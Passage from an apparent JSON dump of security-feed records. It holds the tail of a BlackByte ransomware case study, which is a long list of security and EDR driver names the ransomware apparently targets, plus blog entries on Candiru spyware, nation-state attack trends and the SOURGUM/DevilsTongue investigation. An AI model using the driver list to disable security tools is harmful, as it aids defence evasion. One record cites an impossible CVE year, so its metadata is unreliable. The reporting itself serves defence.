qfmon.sys| qminspec.sys \nqmon.sys| qqprotect.sys| qqprotectx64.sys| qqsysmon.sys| qqsysmonx64.sys \nqutmdrv.sys| ranpodfs.sys| ransomdefensexxx.sys| ransomdetect.sys| reaqtor.sys \nredlight.sys| regguard.sys| reghook.sys| regmonex.sys| repdrv.sys \nrepmon.sys| revefltmgr.sys| reveprocprotection.sys| revonetdriver.sys| rflog.sys \nrgnt.sys| rmdiskmon.sys| rmphvmonitor.sys| rpwatcher.sys| rrmon32.sys \nrrmon64.sys| rsfdrv.sys| rsflt.sys| rspcrtw.sys| rsrtw.sys \nrswctrl.sys| rswmon.sys| rtologon.sys| rtw.sys| ruaff.sys \nrubrikfileaudit.sys| ruidiskfs.sys| ruieye.sys| ruifileaccess.sys| ruimachine.sys \nruiminispy.sys| rvsavd.sys| rvsmon.sys| rw7fsflt.sys| rwchangedrv.sys \nryfilter.sys| ryguard.sys| safe-agent.sys| safsfilter.sys| sagntflt.sys \nsahara.sys| sakfile.sys| sakmfile.sys| samflt.sys| samsungrapidfsfltr.sys \nsanddriver.sys| santa.sys| sascan.sys| savant.sys| savonaccess.sys \nscaegis.sys| scauthfsflt.sys| scauthiodrv.sys| scensemon.sys| scfltr.sys \nscifsflt.sys| sciptflt.sys| sconnect.sys| scred.sys| sdactmon.sys \nsddrvldr.sys| sdvfilter.sys| se46filter.sys| secdodriver.sys| secone_filemon10.sys \nsecone_proc10.sys| secone_reg10.sys| secone_usb.sys| secrmm.sys| secufile.sys \nsecure_os.sys| secure_os_mf.sys| securofsd_x64.sys| sefo.sys| segf.sys \nsegiraflt.sys| segmd.sys| segmp.sys| sentinelmonitor.sys| serdr.sys \nserfs.sys| sfac.sys| sfavflt.sys| sfdfilter.sys| sfpmonitor.sys \nsgresflt.sys| shdlpmedia.sys| shdlpsf.sys| sheedantivirusfilterdriver.sys| sheedselfprotection.sys \nshldflt.sys| si32_file.sys| si64_file.sys| sieflt.sys| simrep.sys \nsisipsfilefilter| sk.sys| skyamdrv.sys| skyrgdrv.sys| skywpdrv.sys \nslb_guard.sys| sld.sys| smbresilfilter.sys| smdrvnt.sys| sndacs.sys \nsnexequota.sys| snilog.sys| snimg.sys| snscore.sys| snsrflt.sys \nsodatpfl.sys| softfilterxxx.sys| soidriver.sys| solitkm.sys| sonar.sys \nsophosdt2.sys| sophosed.sys| sophosntplwf.sys| sophossupport.sys| spbbcdrv.sys \nspellmon.sys| spider3g.sys| spiderg3.sys| spiminifilter.sys| spotlight.sys \nsprtdrv.sys| sqlsafefilterdriver.sys| srminifilterdrv.sys| srtsp.sys| srtsp64.sys \nsrtspit.sys| ssfmonm.sys| ssrfsf.sys| ssvhook.sys| stcvsm.sys \nstegoprotect.sys| stest.sys| stflt.sys| stkrnl64.sys| storagedrv.sys \nstrapvista.sys| strapvista64.sys| svcbt.sys| swcommfltr.sys| swfsfltr.sys \nswfsfltrv2.sys| swin.sys| symafr.sys| symefa.sys| symefa64.sys \nsymefasi.sys| symevent.sys| symevent64x86.sys| symevnt.sys| symevnt32.sys \nsymhsm.sys| symrg.sys| sysdiag.sys| sysmon.sys| sysmondrv.sys \nsysplant.sys| szardrv.sys| szdfmdrv.sys| szdfmdrv_usb.sys| szedrdrv.sys \nszpcmdrv.sys| taniumrecorderdrv.sys| taobserveflt.sys| tbfsfilt.sys| tbmninifilter.sys \ntbrdrv.sys| tdevflt.sys| tedrdrv.sys| tenrsafe2.sys| tesmon.sys \ntesxnginx.sys| tesxporter.sys| tffregnt.sys| tfsflt.sys| tgfsmf.sys \nthetta.sys| thfilter.sys| threatstackfim.sys| tkdac2k.sys| tkdacxp.sys \ntkdacxp64.sys| tkfsavxp.sys| tkfsavxp64.sys| tkfsft.sys| tkfsft64.sys \ntkpcftcb.sys| tkpcftcb64.sys| tkpl2k.sys| tkpl2k64.sys| tksp2k.sys \ntkspxp.sys| tkspxp64.sys| tmactmon.sys| tmcomm.sys| tmesflt.sys \ntmevtmgr.sys| tmeyes.sys| tmfsdrv2.sys| tmkmsnsr.sys| tmnciesc.sys \ntmpreflt.sys| tmumh.sys| tmums.sys| tmusa.sys| tmxpflt.sys \ntopdogfsfilt.sys| trace.sys| trfsfilter.sys| tritiumfltr.sys| trpmnflt.sys \ntrufos.sys| trustededgeffd.sys| tsifilemon.sys| tss.sys| tstfilter.sys \ntstfsredir.sys| tstregredir.sys| tsyscare.sys| tvdriver.sys| tvfiltr.sys \ntvmfltr.sys| tvptfile.sys| tvspfltr.sys| twbdcfilter.sys| txfilefilter.sys \ntxregmon.sys| uamflt.sys| ucafltdriver.sys| ufdfilter.sys| uncheater.sys \nupguardrealtime.sys| usbl_ifsfltr.sys| usbpdh.sys| usbtest.sys| uvmcifsf.sys \nuwfreg.sys| uwfs.sys| v3flt2k.sys| v3flu2k.sys| v3ift2k.sys \nv3iftmnt.sys| v3mifint.sys| varpffmon.sys| vast.sys| vcdriv.sys \nvchle.sys| vcmfilter.sys| vcreg.sys| veeamfct.sys| vfdrv.sys \nvfilefilter.sys| vfpd.sys| vfsenc.sys| vhddelta.sys| vhdtrack.sys \nvidderfs.sys| vintmfs.sys| virtfile.sys| virtualagent.sys| vk_fsf.sys \nvlflt.sys| vmwvvpfsd.sys| vollock.sys| vpdrvnt.sys| vradfil2.sys \nvraptdef.sys| vraptflt.sys| vrarnflt.sys| vrbbdflt.sys| vrexpdrv.sys \nvrfsftm.sys| vrfsftmx.sys| vrnsfilter.sys| vrsdam.sys| vrsdcore.sys \nvrsdetri.sys| vrsdetrix.sys| vrsdfmx.sys| vrvbrfsfilter.sys| vsepflt.sys \nvsscanner.sys| vtsysflt.sys| vxfsrep.sys| wats_se.sys| wbfilter.sys \nwcsdriver.sys| wdcfilter.sys| wdfilter.sys| wdocsafe.sys| wfp_mrt.sys \nwgfile.sys| whiteshield.sys| windbdrv.sys| windd.sys| winfladrv.sys \nwinflahdrv.sys| winfldrv.sys| winfpdrv.sys| winload.sys| winteonminifilter.sys \nwiper.sys| wlminisecmod.sys| wntgpdrv.sys| wraekernel.sys| wrcore.sys \nwrcore.x64.sys| wrdwizfileprot.sys| wrdwizregprot.sys| wrdwizscanner.sys| wrdwizsecure64.sys \nwrkrn.sys| wrpfv.sys| wsafefilter.sys| wscm.sys| xcpl.sys \nxendowflt.sys| xfsgk.sys| xhunter1.sys| xhunter64.sys| xiaobaifs.sys \nxiaobaifsr.sys| xkfsfd.sys| xoiv8x64.sys| xomfcbt8x64.sys| yahoostorage.sys \nyfsd.sys| yfsd2.sys| yfsdr.sys| yfsrd.sys| zampit_ml.sys \nzesfsmf.sys| zqfilter.sys| zsfprt.sys| zwasatom.sys| zwpxesvr.sys \nzxfsfilt.sys| zyfm.sys| zzpensys.sys| | \n \n## Further reading\n\nFor the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: <https://aka.ms/threatintelblog>.\n\nTo get notified about new publications and to join discussions on social media, follow us on Twitter at <https://twitter.com/MsftSecIntel>. \n\nThe post [The five-day job: A BlackByte ransomware intrusion case study](<https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/en-us/security/blog>).", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2023-07-06T17:00:00", "type": "mmpc", "title": "The five-day job: A BlackByte ransomware intrusion case study", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-16098", "CVE-2021-31207", "CVE-2021-34473", "CVE-2021-34523", "CVE-2049-16098"], "modified": "2023-07-06T17:00:00", "id": "MMPC:0BCDCF68488C6A934B5C605C26DDC90F", "href": "https://www.microsoft.com/en-us/security/blog/2023/07/06/the-five-day-job-a-blackbyte-ransomware-intrusion-case-study/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "schneier": [{"lastseen": "2021-07-28T14:37:00", "description": "Citizen Lab has identified yet another Israeli company that sells spyware to governments around the world: Candiru.\n\nFrom [the report](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>):\n\n> Summary:\n> \n> * Candiru is a secretive Israel-based company that sells spyware exclusively to governments. Reportedly, their spyware can infect and monitor iPhones, Androids, Macs, PCs, and cloud accounts. \n> * Using Internet scanning we identified more than 750 websites linked to Candiru's spyware infrastructure. We found many domains masquerading as advocacy organizations such as Amnesty International, the Black Lives Matter movement, as well as media companies, and other civil-society themed entities. \n> * We identified a politically active victim in Western Europe and recovered a copy of Candiru's Windows spyware. \n> * Working with Microsoft Threat Intelligence Center (MSTIC) we analyzed the spyware, resulting in the discovery of [CVE-2021-31979](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31979>) and [CVE-2021-33771](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-33771>) by Microsoft, two privilege escalation vulnerabilities exploited by Candiru. Microsoft patched both vulnerabilities on July 13th, 2021. \n> * As part of their investigation, Microsoft [observed](<https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/>) at least 100 victims in Palestine, Israel, Iran, Lebanon, Yemen, Spain, United Kingdom, Turkey, Armenia, and Singapore. Victims include human rights defenders, dissidents, journalists, activists, and politicians. \n> * We provide a brief technical overview of the Candiru spyware's persistence mechanism and some details about the spyware's functionality. \n> * Candiru has made efforts to obscure its ownership structure, staffing, and investment partners. Nevertheless, we have been able to shed some light on those areas in this report.\n\nWe're not going to be able to secure the Internet until we deal with the companies that engage in the international cyber-arms trade.", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-07-19T15:54:58", "type": "schneier", "title": "Candiru: Another Cyberweapons Arms Manufacturer", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771"], "modified": "2021-07-19T15:54:58", "id": "SCHNEIER:34FA6921AD55EB5CAC146C5F516AF062", "href": "https://www.schneier.com/blog/archives/2021/07/candiru-another-cyberweapons-arms-manufacturer.html", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}], "mssecure": [{"lastseen": "2021-10-25T16:33:26", "description": "Microsoft is proud to promote [Cybersecurity Awareness Month](<https://www.microsoft.com/en-us/securitynow>) as part of our ongoing commitment to [security for all](<https://www.microsoft.com/en-us/security/business>). Year-round, Microsoft tracks nation-state threat activities to help protect organizations and individuals from these advanced persistent actors. We\u2019re constantly improving our capabilities to bring better detections, threat context, and actor knowledge to our customers so they can improve their own defenses. To learn more about how Microsoft responds to nation-state attacks and how to defend your organization, watch the [Decoding NOBELIUM docuseries](<https://www.microsoft.com/en-us/security/business/nation-state-attacks#office-ContentAreaHeadingTemplate-hkzu7ix>). Hear directly from the frontline defenders who helped protect organizations against the most sophisticated attack in history.\n\nThe aims of nation-state cyber actors\u2014largely espionage and disruption\u2014remain consistent, along with their most reliable tactics and techniques: credential harvesting, malware, and VPN exploits. However, a common theme this year among the actors originating from China, Russia, North Korea, and Iran has been increased targeting of IT service providers as a way of exploiting downstream customers.1\n\nEarlier this month, we published the [2021 Microsoft Digital Defense Report](<https://www.microsoft.com/en-us/security/business/security-intelligence-report>) (MDDR), which provides more in-depth findings about Microsoft\u2019s tracking of nation-state threat groups, including information on the most heavily targeted sectors and countries, specific threat actors, attack methods, and more. This blog captures the high-level themes from the MDDR, and we encourage you to download the full report for additional details.\n\n## Government agencies and non-governmental organizations are favored targets\n\nWhenever an organization or individual account holder is targeted or compromised by observed nation-state activities, Microsoft delivers a nation-state notification (NSN) directly to that customer to give them the information they need to investigate the activity. Over the past three years, we\u2019ve delivered over 20,500 NSNs. According to the analysis of the actor activity behind these NSNs, nation-state attacks in the past year have largely focused on operational objectives of espionage and intelligence collection rather than destructive attacks.\n\n> _\u201cNation-state activity spans nearly every industry sector and geographic region. In other words, protections against these tactics are critical for every organization and individual.\u201d_\u20142021 Microsoft Digital Defense Report.\n\nThe [Microsoft Threat Intelligence Center](<https://www.microsoft.com/security/blog/microsoft-security-intelligence/>) (MSTIC) and the [Microsoft Digital Crimes Unit](<https://news.microsoft.com/on-the-issues/2021/04/15/how-microsofts-digital-crimes-unit-fights-cybercrime/>) (DCU) have observed that **nearly 80 percent of nation-state attacks were directed against government agencies, think tanks, and non-government organizations** (NGOs). The nation-state groups we refer to as NOBELIUM, NICKEL, THALLIUM, and PHOSPHORUS were the most active against the government sector, targeting mostly government entities involved in international affairs.\n\n![The most targeted sectors between July 2020 and June 2021 were Government \$48 percent\$ and NGOs and Think Tanks \$31 percent\$.](https://www.microsoft.com/security/blog/uploads/securityprod/2021/10/Picture1-6170a1fdb2cd7.png)\n\n_Figure 1: Sectors targeted by nation-state attacks (July 2020 to June 2021)._\n\nRussia-based cyber attackers in particular have increasingly set their sights on government targets. Year-on-year comparisons of NSN data depict a marked increase in successful compromises, from a 21 percent success rate between July 2019 and June 2020, up to 32 percent since July 2020. In turn, the percentage of government organizations targeted by Russian threat actors exploded from roughly 3 percent last year, to 53 percent since July 2020 (see figure 3).\n\n## Most-targeted countries\n\nThe United States remained the most highly targeted country in the past year. Russia-based NOBELIUM also heavily targeted Ukraine, particularly focusing on government interests involved in rallying against a build-up of Russian troops along Ukraine\u2019s border\u2014driving the number of Ukrainian customers impacted from 6 last year to more than 1,200 this year. This past year also saw a near quadrupling in the targeting of Israeli entities, driven exclusively by Iranian actors as tensions escalated between the two countries.\n\n![The most targeted countries between July 2020 and June 2021 were the United States \$46 percent\$, Ukraine \$19 percent\$, and the United Kingdom \$9 percent\$.](https://www.microsoft.com/security/blog/uploads/securityprod/2021/10/Picture2-6170a23006fb7.png)\n\n_Figure 2: Countries most targeted (July 2020 to June 2021)._\n\nMicrosoft identifies nation-state activities by chemical element names, some of which are shown in the table below, along with their countries of origin. This small sample of the total nation-state actors tracked by Microsoft represents several of the most active in the last year.\n\n![Reference map for the nation state activity groups discussed in this report, including country of origin and common targets.](https://www.microsoft.com/security/blog/uploads/securityprod/2021/10/nation-state-actors-map.png)\n\n_Figure 3: Reference map for nation-state actors._\n\n## Volume versus precision\n\nRates of successful compromises varied widely among threat groups this year. Some, such as North Korea-based THALLIUM, had a low rate of successful compromise likely because their common tactic of large-scale [spear-phishing campaigns](<https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/>) has become easier to detect and deter as users become increasingly aware of these lures and organizations use security solutions to detect them more effectively. Russia-based NOBELIUM, in contrast, had more successful compromises as a result of their more targeted attack against software supply chains coupled with more high-volume password spray campaigns in pursuit of credential theft. Nation-state actors appear to be increasing the scale of these blunt attacks in an attempt to evade detection and improve their chances of a successful breach. The first fiscal quarter of 2020 (July to September) saw a proportionally higher compromise rate; not necessarily because threat actors were more successful, but because we saw fewer high-volume campaigns during this time.\n\n![The targeted entities were compromised 78 percent of the time in July through September of 2020. The annual average for July 2020 through June 2021 was 28 percent.](https://www.microsoft.com/security/blog/uploads/securityprod/2021/10/Picture3-6170a4d37a0de.png)\n\n_Figure 4: Average rates of compromise (all tactics, July 2020 to June 2021)._\n\n## Snapshot: Nation-state activity\n\n### Russia\n\n[Russia-based NOBELIUM](<https://blogs.microsoft.com/on-the-issues/2021/05/27/nobelium-cyberattack-nativezone-solarwinds/>) proved how insidious software [supply chain attacks](<https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/supply-chain-malware>) can be with its devastating compromise of the SolarWinds Orion software update.2 Although the group limited its follow-up exploitation to approximately 100 organizations, its backdoor malware was pushed to roughly 18,000 entities worldwide. In other incidents, NOBELIUM has employed password spray and phishing attacks to compromise third-party providers and facilitate future compromises. This threat actor targeted cloud solution providers (CSPs) and leveraged the backdoor to steal a Mimecast private key.3 Get the full account from world-class defenders on what it took to respond to the most advanced nation-state attack in history by watching the [Decoding NOBELIUM docuseries](<https://www.microsoft.com/en-us/security/business/nation-state-attacks#office-ContentAreaHeadingTemplate-hkzu7ix>).\n\n### China\n\nChinese nation-state threat actors have been targeting the United States political landscape for insight into policy shifts. In early March 2021, [Microsoft blogged about HAFNIUM](<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>) and the detection of multiple zero-day exploits used to attack on-premises versions of [Microsoft Exchange Server](<https://docs.microsoft.com/en-us/exchange/exchange-server?view=exchserver-2019>). HAFNIUM operates primarily from leased virtual private servers in the United States and targets entities across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.\n\n### Iran\n\nIran continued its streak of destructive cyberattacks against regional adversaries, including a string of ransomware attacks against Israeli entities. Iran-linked threat actor RUBIDIUM has been implicated in the Pay2Key4 and N3tw0rm5 ransomware campaigns that targeted Israel in late 2020 and early 2021. A common element in Iranian nation-state cyberattacks was the targeting of Israeli logistics companies involved in maritime transportation. Despite Tehran\u2019s less aggressive approach toward the United States in the wake of last year\u2019s election, United States entities remained Iranian threat actors\u2019 top target, comprising nearly half of the NSNs Microsoft delivered to cloud-service customers.\n\n### North Korea\n\nJust over half the NSNs Microsoft issued were for North Korea-based state actors during the last three months of 2020. The majority of the North Korean targeting was directed at consumer account targets, based on the likelihood of obtaining non-publicly available diplomatic or geopolitical intelligence. As Microsoft reported in November 2020, [ZINC and CERIUM targeted pharmaceutical companies and vaccine researchers](<https://blogs.microsoft.com/on-the-issues/2020/11/13/health-care-cyberattacks-covid-19-paris-peace-forum/>) in several countries, probably to speed up North Korea\u2019s own vaccine research. North Korea also continued to target financial companies with the intent of stealing cryptocurrency and intellectual property.6\n\n## Private sector actors supply the tools\n\nThough not nation-state actors themselves, private sector offensive actors (PSOAs) create and sell malicious cyber technologies to nation-state buyers. PSOA tools have been observed targeting dissidents, human rights defenders, journalists, and other private citizens. In December 2020, Microsoft\u2019s efforts to protect our customers led us to file an amicus brief in support of WhatsApp\u2019s case against Israel-based NSO Group Technologies.7 The brief asks the court to reject NSO Group\u2019s position that it\u2019s not responsible for the use of its surveillance and espionage products by governments. Microsoft also worked with [Citizen Lab](<https://citizenlab.ca/>) to disable malware used by Israel-based PSOA, [SOURGUM (aka Candiru)](<https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/>), which created malware and zero-day exploits (fixed in [CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>) and [CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>)) as a part of a hacking-as-a-service package sold to government agencies and other malicious actors.\n\n## Comprehensive protection starts with individuals\n\nOne thing is clear: nation-state actors are well-funded and employ techniques of tremendous breadth and sophistication. More than other adversaries, nation-state attackers will also target individuals specifically for access to their connections, communications, and information. These attackers are constantly refining their tactics and techniques; therefore, defense-in-depth strategies should include [educating employees](<https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/attack-simulation-training?view=o365-worldwide>) on how to avoid being targeted themselves. Most importantly, applying [Zero Trust principles](<https://www.microsoft.com/en-us/insidetrack/transitioning-to-modern-access-architecture-with-zero-trust>) across corporate resources helps secure today\u2019s mobile workforce\u2014protecting people, devices, applications, and data no matter their location or the scale of threats faced.\n\n## Learn more\n\nFor a deep dive into our latest information on nation-state threats, download the [2021 Microsoft Digital Defense Report](<https://aka.ms/microsoftdigitaldefensereport>) and watch the [Decoding NOBELIUM docuseries](<https://www.microsoft.com/en-us/security/business/nation-state-attacks#office-ContentAreaHeadingTemplate-hkzu7ix>). Also, look for more blog posts providing information for each themed week of Cybersecurity Awareness Month 2021. Read our latest posts:\n\n * [#BeCyberSmart: When we learn together, we\u2019re more secure together](<https://www.microsoft.com/security/blog/2021/10/04/becybersmart-when-we-learn-together-were-more-secure-together/>)\n * [How cyberattacks are changing according to new Microsoft Digital Defense Report](<https://www.microsoft.com/security/blog/2021/10/04/becybersmart-when-we-learn-together-were-more-secure-together/>)\n * [Get career advice from 7 inspiring leaders in cybersecurity](<https://www.microsoft.com/security/blog/2021/10/18/get-career-advice-from-7-inspiring-leaders-in-cybersecurity/>)\n * [Defenders wanted\u2014building the new cybersecurity professionals](<https://www.microsoft.com/security/blog/2021/10/21/defenders-wanted-building-the-new-cybersecurity-professionals/>)\n\nBe sure to visit our [Cybersecurity Awareness Month page](<https://www.microsoft.com/en-us/securitynow>) for links to additional resources and information on protecting your organization year-round. **Do your part. #BeCyberSmart**\n\nTo learn more about Microsoft Security solutions, [visit our website](<https://www.microsoft.com/en-us/security/business/solutions>). Bookmark the [Security blog](<https://www.microsoft.com/security/blog/>) to keep up with our expert coverage on security matters. Also, follow us at [@MSFTSecurity](<https://twitter.com/@MSFTSecurity>) for the latest news and updates on cybersecurity.\n\n \n\n* * *\n\n1[Awareness Briefing: Chinese Cyber Activity Targeting Managed Service Providers](<https://us-cert.cisa.gov/sites/default/files/publications/Chinese-Cyber-Activity-Targeting-Managed-Service-Providers.pdf>), Cybersecurity Infrastructure Security Agency.\n\n2[A 'Worst Nightmare' Cyberattack: The Untold Story Of The SolarWinds Hack](<https://www.npr.org/2021/04/16/985439655/a-worst-nightmare-cyberattack-the-untold-story-of-the-solarwinds-hack>), Monika Estatieva, NPR. 16 April 2021.\n\n3[Mimecast attributes supply chain attack to SolarWinds' hackers](<https://www.cybersecuritydive.com/news/mimecast-supply-chain-attack-Microsoft-365/593368/>), David Jones, Cybersecurity Dive. 14 January 2021.\n\n4[Pay2Key Ransomware Joins the Threat Landscape](<https://securityboulevard.com/2020/11/pay2key-ransomware-joins-the-threat-landscape/>), Tomas Meskauskas, Security Boulevard. 30 November 2020.\n\n5[N3TW0RM ransomware emerges in wave of cyberattacks in Israel](<https://www.bleepingcomputer.com/news/security/n3tw0rm-ransomware-emerges-in-wave-of-cyberattacks-in-israel/>), Lawrence Abrams, Bleeping Computer. 2 May 2021.\n\n6[North Korean hackers charged in massive cryptocurrency theft scheme](<https://www.cnbc.com/2021/02/17/north-korean-hackers-charged-in-massive-cryptocurrency-theft-scheme.html>), Dan Mangan, CNBC. 17 February 2021.\n\n7[Google, Cisco and VMware join Microsoft to oppose NSO Group in WhatsApp spyware case](<https://techcrunch.com/2020/12/21/google-cisco-and-vmware-join-microsoft-to-oppose-nso-group-in-whatsapp-spyware-case/>), Zack Whittaker, Tech Crunch. 21 December 2020.\n\nThe post [Microsoft Digital Defense Report shares new insights on nation-state attacks](<https://www.microsoft.com/security/blog/2021/10/25/microsoft-digital-defense-report-shares-new-insights-on-nation-state-attacks/>) appeared first on [Microsoft Security Blog](<https://www.microsoft.com/security/blog>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-25T16:00:17", "type": "mssecure", "title": "Microsoft Digital Defense Report shares new insights on nation-state attacks", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-31979", "CVE-2021-33771"], "modified": "2021-10-25T16:00:17", "id": "MSSECURE:D57E74C98BC14F3EC05993E7DA683466", "href": "https://www.microsoft.com/security/blog/2021/10/25/microsoft-digital-defense-report-shares-new-insights-on-nation-state-attacks/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-28T14:38:14", "description": "The Microsoft Threat Intelligence Center (MSTIC) alongside the Microsoft Security Response Center (MSRC) has uncovered a private-sector offensive actor, or PSOA, that we are calling SOURGUM in possession of now-patched, Windows 0-day exploits ([CVE-2021-31979](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31979>) and [CVE-2021-33771](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-33771>)).\n\nPrivate-sector offensive actors are private companies that manufacture and sell cyberweapons in hacking-as-a-service packages, often to government agencies around the world, to hack into their targets\u2019 computers, phones, network infrastructure, and other devices. With these hacking packages, usually the government agencies choose the targets and run the actual operations themselves. The tools, tactics, and procedures used by these companies only adds to the complexity, scale, and sophistication of attacks. We take these threats seriously and have moved swiftly alongside our partners to build in the latest protections for our customers.\n\nMSTIC believes SOURGUM is an Israel-based private-sector offensive actor. We would like to thank the Citizen Lab, at the University of Toronto's Munk School, for sharing the sample of malware that initiated this work and their collaboration during the investigation. In their [blog](<https://citizenlab.ca/2021/07/hooking-candiru-another-mercenary-spyware-vendor-comes-into-focus/>), Citizen Lab asserts with high confidence that SOURGUM is an Israeli company commonly known as Candiru. [Third-party reports](<https://www.haaretz.com/middle-east-news/.premium-top-secret-israeli-cyberattack-firm-revealed-1.6805950>) indicate Candiru produces \u201chacking tools [that] are used to break into computers and servers\u201d_. _\n\nAs we shared in the [Microsoft on the Issues blog](<https://blogs.microsoft.com/on-the-issues/2021/07/15/cyberweapons-cybersecurity-sourgum-malware/>), Microsoft and Citizen Lab have worked together to disable the malware being used by SOURGUM that targeted more than 100 victims around the world including politicians, human rights activists, journalists, academics, embassy workers, and political dissidents. To limit these attacks, Microsoft has created and built protections into our products against this unique malware, which we are calling _DevilsTongue_. We have shared these protections with the security community so that we can collectively address and mitigate this threat. We have also issued a software update that will protect Windows customers from the associated exploits that the actor used to help deliver its highly sophisticated malware.\n\n## SOURGUM victimology\n\nMedia reports ([1](<https://www.theguardian.com/technology/2015/jul/06/hacking-team-hacked-firm-sold-spying-tools-to-repressive-regimes-documents-claim>), [2](<https://www.theguardian.com/media/2020/dec/20/citizen-lab-nso-dozens-of-aljazeera-journalists-allegedly-hacked-using-israeli-firm-spyware>), [3](<https://www.wired.co.uk/article/phone-hacking-mollitiam-industries>)) indicate that PSOAs often sell Windows exploits and malware in hacking-as-a-service packages to government agencies. Agencies in Uzbekistan, United Arab Emirates, and Saudi Arabia are among the list of Candiru\u2019s [alleged previous customers](<https://urldefense.com/v3/__https:/www.forbes.com/sites/thomasbrewster/2019/10/03/meet-candiru-the-super-stealth-cyber-mercenaries-hacking-apple-and-microsoft-pcs-for-profit/__;!!OPvj_Mo!qxCbqIivPDfDqHshaSJGunR3h_DoOYV2RVnwMJgvScAoj3M1t_G2HZOUIdiCpg$>). These agencies, then, likely choose whom to target and run the cyberoperations themselves.\n\nMicrosoft has identified over 100 victims of SOURGUM\u2019s malware, and these victims are as geographically diverse as would be expected when varied government agencies are believed to be selecting the targets. Approximately half of the victims were found in Palestinian Authority, with most of the remaining victims located in Israel, Iran, Lebanon, Yemen, Spain (Catalonia), United Kingdom, Turkey, Armenia, and Singapore. To be clear, the identification of victims of the malware in a country doesn\u2019t necessarily mean that an agency in that country is a SOURGUM customer, as international targeting is common.\n\nAny [Microsoft 365 Defender](<https://www.microsoft.com/en-us/security/business/threat-protection/microsoft-365-defender>) and [Microsoft Defender for Endpoint](<https://www.microsoft.com/en-us/microsoft-365/security/endpoint-defender>) alerts containing detection names for the DevilsTongue malware name are signs of compromise by SOURGUM\u2019s malware. We have included a comprehensive list of detection names below for customers to perform additional hunting in their environments.\n\n## Exploits\n\nSOURGUM appears to use a chain of browser and Windows exploits, including 0-days, to install malware on victim boxes. Browser exploits appear to be served via single-use 